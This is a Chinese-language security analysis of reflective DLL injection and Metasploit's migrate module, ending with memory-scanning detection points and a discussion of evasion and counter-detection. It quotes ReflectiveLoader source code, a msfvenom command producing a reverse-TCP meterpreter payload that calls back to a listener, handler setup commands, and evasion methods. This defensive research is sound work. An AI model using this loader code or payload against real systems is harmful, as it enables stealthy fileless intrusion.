作者:深信服千里目安全實驗室
原文鏈接:https://mp.weixin.qq.com/s/kVpesy_w7XLanL_WhRhn-Q

一、前言

dll注入技術是讓某個進程主動加載指定的dll的技術。惡意軟件為了提高隱蔽性,通常會使用dll注入技術將自身的惡意代碼以dll的形式注入高可信進程。

常規的dll注入技術使用LoadLibraryA()函數來使被注入進程加載指定的dll。常規dll注入的方式一個致命的缺陷是需要惡意的dll以文件的形式存儲在受害者主機上。這樣使得常規dll注入技術在受害者主機上留下痕跡較大,很容易被edr等安全產品檢測到。為了彌補這個缺陷,stephen fewer提出了反射式dll注入技術并在github開源,反射式dll注入技術的優勢在于可以使得惡意的dll通過socket等方式直接傳輸到目標進程內存并加載,期間無任何文件落地,安全產品的檢測難度大大增加。

本文將從dll注入技術簡介、msf migrate模塊剖析、檢測思路和攻防對抗的思考等方向展開說明反射式dll注入技術。

二、dll注入技術簡介

2.1 常規dll注入技術

常規dll注入有:

  1. 通過調用CreateRemoteThread()/NtCreateThread()/RtlCreateUserThread()函數在被注入進程創建線程進行dll注入。
  2. 通過調用QueueUserAPC()/SetThreadContext()函數來劫持被注入進程已存在的線程加載dll。
  3. 通過調用SetWindowsHookEx()函數來設置攔截事件,在發生對應的事件時,被注入進程執行攔截事件函數加載dll。

以使用CreateRemoteThread()函數進行dll注入的方式為例,實現思路如下:

  1. 獲取被注入進程PID。
  2. 在注入進程的訪問令牌中開啟SE_DEBUG_NAME權限。
  3. 使用openOpenProcess()函數獲取被注入進程句柄。
  4. 使用VirtualAllocEx()函數在被注入進程內開辟緩沖區并使用WriteProcessMemory()函數寫入DLL路徑的字符串。
  5. 使用GetProcAddress()函數在當前進程加載的kernel32.dll找到LoadLibraryA函數的地址。
  6. 通過CreateRemoteThread()函數來調用LoadLibraryA()函數,在被注入進程新啟動一個線程,使得被注入進程進程加載惡意的DLL。

常規dll注入示意圖如上圖所示。該圖直接從步驟3)開始,步驟1)和步驟2)不在贅述。

2.2 反射式dll注入技術

反射式dll注入與常規dll注入類似,而不同的地方在于反射式dll注入技術自己實現了一個reflective loader()函數來代替LoadLibaryA()函數去加載dll,示意圖如下圖所示。藍色的線表示與用常規dll注入相同的步驟,紅框中的是reflective loader()函數行為,也是下面重點描述的地方。

Reflective loader實現思路如下:

  1. 獲得被注入進程未解析的dll的基地址,即下圖第7步所指的dll。

  2. 獲得必要的dll句柄和函數為修復導入表做準備。

  3. 分配一塊新內存去取解析dll,并把pe頭復制到新內存中和將各節復制到新內存中。
  4. 修復導入表和重定向表。

  5. 執行DllMain()函數。

三、Msf migrate模塊剖析

msf的migrate模塊是post階段的一個模塊,其作用是將meterpreter payload從當前進程遷移到指定進程。

在獲得meterpreter session后可以直接使用migrate命令遷移進程,其效果如下圖所示:

img

migrate的模塊的實現和stephen fewer的ReflectiveDLLInjection項目大致相同,增加了一些細節,其實現原理如下:

  1. 讀取metsrv.dll(metpreter payload模板dll)文件到內存中。

  2. 生成最終的payload。
    a) msf生成一小段匯編migrate stub主要用于建立socket連接。
    b) 將metsrv.dll的dos頭修改為一小段匯編meterpreter_loader主要用于調用reflective loader函數和dllmain函數。在metsrv.dll的config block區填充meterpreter建立session時的配置信息。
    c) 最后將migrate stub和修改后的metsrv.dll拼接在一起生成最終的payload。

  3. 向msf server發送migrate請求和payload。

  4. msf向遷移目標進程分配一塊內存并寫入payload。

  5. msf首先會創建的遠程線程執行migrate stub,如果失敗了,就會嘗試用apc注入的方式執行migrate stub。migrate stub會調用meterpreter loader,meterpreter loader才會調用reflective loader。

  6. reflective loader進行反射式dll注入。

  7. 最后msf client和msf server建立一個新的session。

原理圖如下所示:

img

圖中紅色的線表示與常規反射式dll注入不同的地方。紅色的填充表示修改內容,綠色的填充表示增加內容。migrate模塊的reflective loader是直接復用了stephen fewer的ReflectiveDLLInjection項目的ReflectiveLoader.c中的ReflectiveLoader()函數。下面我們主要關注reflective loader的行為。

3.1 靜態分析

3.1.1 獲取dll基地址

ReflectiveLoader()首先會調用caller()函數

uiLibraryAddress = caller();

caller()函數實質上是_ReturnAddress()函數的封裝。caller()函數的作用是獲取caller()函數的返回值,在這里也就是ReflectiveLoader()函數中調用caller()函數的下一條指令的地址。

#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }

然后,向低地址逐字節比較是否為為dos頭的標識MZ字串,若當前地址的內容為MZ字串,則把當前地址認為是dos頭結構體的開頭,并校驗dos頭e_lfanew結構成員是否指向pe頭的標識”PE”字串。若校驗通過,則認為當前地址是正確的dos頭結構體的開頭。

while( TRUE )
{
    //將當前地址當成dos頭結構,此結構的e_magic成員變量是否指向MZ子串
    if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) 
    {
        uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
        if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
        {
            uiHeaderValue += uiLibraryAddress;
            //判斷e_lfanew結構成員是否指向PE子串,是則跳出循環,取得未解析dll的基地址
            if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
                break;
        }
    }
    uiLibraryAddress--;
}

3.1.2 獲取必要的dll句柄和函數地址

獲取必要的dll句柄是通過遍歷peb結構體中的ldr成員中的InMemoryOrderModuleList鏈表獲取dll名稱,之后算出dll名稱的hash,最后進行hash對比得到最終的hash。

uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
    uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
    usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
    uiValueC = 0;
    ULONG_PTR tmpValC = uiValueC;
    //計算tmpValC所指向子串的hash值,并存儲在uiValueC中
    ....
    if( (DWORD)uiValueC == KERNEL32DLL_HASH )

必要的函數是遍歷函數所在的dll導出表獲得函數名稱,然后做hash對比得到的。

uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
while( usCounter > 0 )
        {
        dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
            if( dwHashValue == LOADLIBRARYA_HASH
            //等于其他函數hash的情況
            || ...
            )
            {
                uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
                uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
                if( dwHashValue == LOADLIBRARYA_HASH )
                    pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
                //等于其他函數hash的情況
                ...
                usCounter--;
            }
            uiNameArray += sizeof(DWORD);
            uiNameOrdinals += sizeof(WORD);
        }
}

3.1.3 將dll映射到新內存

Nt optional header結構體中的SizeOfImage變量存儲著pe文件在內存中解析后所占的內存大小。所以ReflectiveLoader()獲取到SizeOfImage的大小,分配一塊新內存,然后按照section headers結構中的文件相對偏移和相對虛擬地址,將pe節一一映射到新內存中。

//分配SizeOfImage的新內存
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
...
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
//將所有頭和節表逐字節復制到新內存
while( uiValueA-- )
    *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
//解析每一個節表項
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
    uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
    uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
    uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
    //將每一節的內容復制到新內存對應的位置
    while( uiValueD-- )
        *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
    uiValueA += sizeof( IMAGE_SECTION_HEADER );
}

3.1.4 修復導入表和重定位表

首先更具導入表結構,找到導入函數所在的dll名稱,然后使用loadlibary()函數載入dll,根據函數序號或者函數名稱,在載入的dll的導出表中,通過hash對比,并把找出的函數地址寫入到新內存的IAT表中。

uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
//當沒有到達導入表末尾時
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
{
    //使用LoadLibraryA()函數加載對應的dll
    uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
    ...
    uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
    //IAT表
    uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
    while( DEREF(uiValueA) )
    {
        //如果導入函數是通過函數編號導入
        if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
        {   //通過函數編號索引導入函數所在dll的導出函數    
            uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
            uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
            uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
            uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
            uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
            //將對應的導入函數地址寫入IAT表
            DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
        }
        else
        {
            //導入函數通過名稱導入的
            uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
            DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
        }
        uiValueA += sizeof( ULONG_PTR );
        if( uiValueD )
            uiValueD += sizeof( ULONG_PTR );
    }
    uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}

重定位表是為了解決程序指定的imagebase被占用的情況下,程序使用絕對地址導致訪問錯誤的情況。一般來說,在引用全局變量的時候會用到絕對地址。這時候就需要去修正對應內存的匯編指令。

uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
//如果重定向表的值不為0,則修正重定向節
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
    uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;
    uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
    while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
    {
        uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
        uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
        uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
        //根據不同的標識,修正每一項對應地址的值
        while( uiValueB-- )
        {
            if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
                *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
            else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
                *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
            else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
                *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
            else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
                *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
            uiValueD += sizeof( IMAGE_RELOC );
        }
        uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
        uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
    }
}

3.2 動態調試

本節一方面是演示如何實際的動態調試msf的migrate模塊,另一方面也是3.1.1的一個補充,從匯編層次來看3.1.1節會更容易理解。

首先用msfvenom生成payload

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.75.132 lport=4444 -f exe -o msf.exe

并使用msfconsole設置監聽

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 0.0.0.0:4444 

之后在受害機使用windbg啟動msf.exe并且

bu KERNEL32!CreateRemoteThread;g

獲得被注入進程新線程執行的地址,以便調試被注入進程。

當建立session連接后,在msfconsole使用migrate命令

 migrate 5600 //5600是要遷移的進程的pid

然后msf.exe在CreateRemoteThread函數斷下,CreateRemoteThread函數原型如下

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

所以我們要找第四個參數lpStartAddress的值,即r9寄存器的內容,

使用

!address 000001c160bb0000

去notepad進程驗證一下,是可讀可寫的內存,基本上就是對的

此時的地址是migrate stub匯編代碼的地址,我們期望直接斷在reflective loader的函數地址,我們通過

s -a 000001c1`60bb0000 L32000 MZ //000001c1`60bb0000為上面的lpStartAddress,3200為我們獲取到的內存塊大小

直接去搜MZ字串定位到meterpreter loader匯編的地址,進而定位到reflective loader的函數地址

meterpreter loader將reflective loader函數的地址放到rbx中,所以我們可直接斷在此處,進入reflective loader的函數,如下圖所示

reflective loader首先call 000001c1`60bb5dc9也就是caller()函數,caller()函數的實現就比較簡單了,一共兩條匯編指令,起作用就是返回下一條指令的地址

在這里也就是0x000001c160bb5e08

獲得下一條指令后的地址后,就會比較獲取的地址的內容是否為MZ如果不是的話就會把獲取的地址減一作為新地址比較,如果是的話,則會比較e_lfanew結構成員是否指向PE,若是則此時的地址作為dll的基地址。后面調試過程不在贅述。

四、檢測方法

反射式dll注入技術有很多種檢測方法,如內存掃描、IOA等。下面是以內存掃描為例,我想到的一些掃描策略和比較好的檢測點。

掃描策略:

  1. Hook敏感api,當發生敏感api調用序列時,對注入進程和被注入進程掃描內存。

  2. 跳過InMemoryOrderModuleList中的dll。

檢測點多是跟reflective loader函數的行為有關,檢測點如下:

  1. 強特征匹配_ReturnAddress()的函數。Reflectiveloader函數定位dos頭的前置操作就是調用調用_ReturnAddress()函數獲得當前dll的一個地址。

  2. 掃描定位pe開頭位置的代碼邏輯。詳見3.1節,我們可以弱匹配此邏輯。

  3. 掃描特定的hash函數和hash值。在dll注入過程中,需要許多dll句柄和函數地址,所以不得不使用hash對比dll名稱和函數名稱。我們可以匹配hash函數和這些特殊的hash值。

  4. 從整體上檢測dll注入。在被注入進程其實是存在兩份dll文件,一份是解析前的原pe文件,一份是解析后的pe文件。我們可以檢測這兩份dll文件的關系來確定是反射式dll注入工具。

深信服云主機安全保護平臺CWPP能夠有效檢測此類利用反射式DLL注入payload的無文件攻擊技術。檢測結果如圖所示:

五、攻防對抗的思考

對于標準的反射dll注入是有很多種檢測方式的,主要是作者沒有刻意的做免殺,下面對于我搜集到了一些免殺方式,探討一下其檢測策略。

  1. 避免直接調用敏感api 。例如不直接調用writeprocessmemory等函數,而是直接用syscall調用。這種免殺方式只能繞過用戶態的hook。對于內核態hook可以解這個問題。
  2. dll在內存中的rwx權限進行了去除,變成rx。其實有好多粗暴的檢測反射式dll注入的攻擊方式,就是檢測rwx權限的內存是否為pe文件。
  3. 擦除nt頭和dos頭。這種免殺方式會直接讓檢測點4)影響較大,不能簡單的校驗pe頭了,需要加入更精確的確定兩個dll的文件,比如說,首先通過讀取未解析的dll的SizeOfImage的大小,然后去找此大小的內存塊,然后對比代碼段是否一致,去判斷是否為同一pe文件。

  4. 抹除未解析pe文件的內存。這種免殺方式會導致檢測點4)徹底失效,這種情況下我們只能對reflectiveloader()函數進行檢測。

  5. 抹除reflectiveloader()函數的內存。這里就比較難檢測了。但是也是有檢測點的,這里關鍵是如何確定這塊內存是pe結構,重建pe結構之后,我們可以通過導出表去看導出函數是否被抹除。

六、參考文獻

  1. https://bbs.pediy.com/thread-220405.htm

  2. https://bbs.pediy.com/thread-224078.htm

  3. https://github.com/sud01oo/ProcessInjection

  4. https://github.com/stephenfewer/ReflectiveDLLInjection

  5. 《Windows PE權威指南》

  6. https://github.com/rapid7/metasploit-payloads


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1855/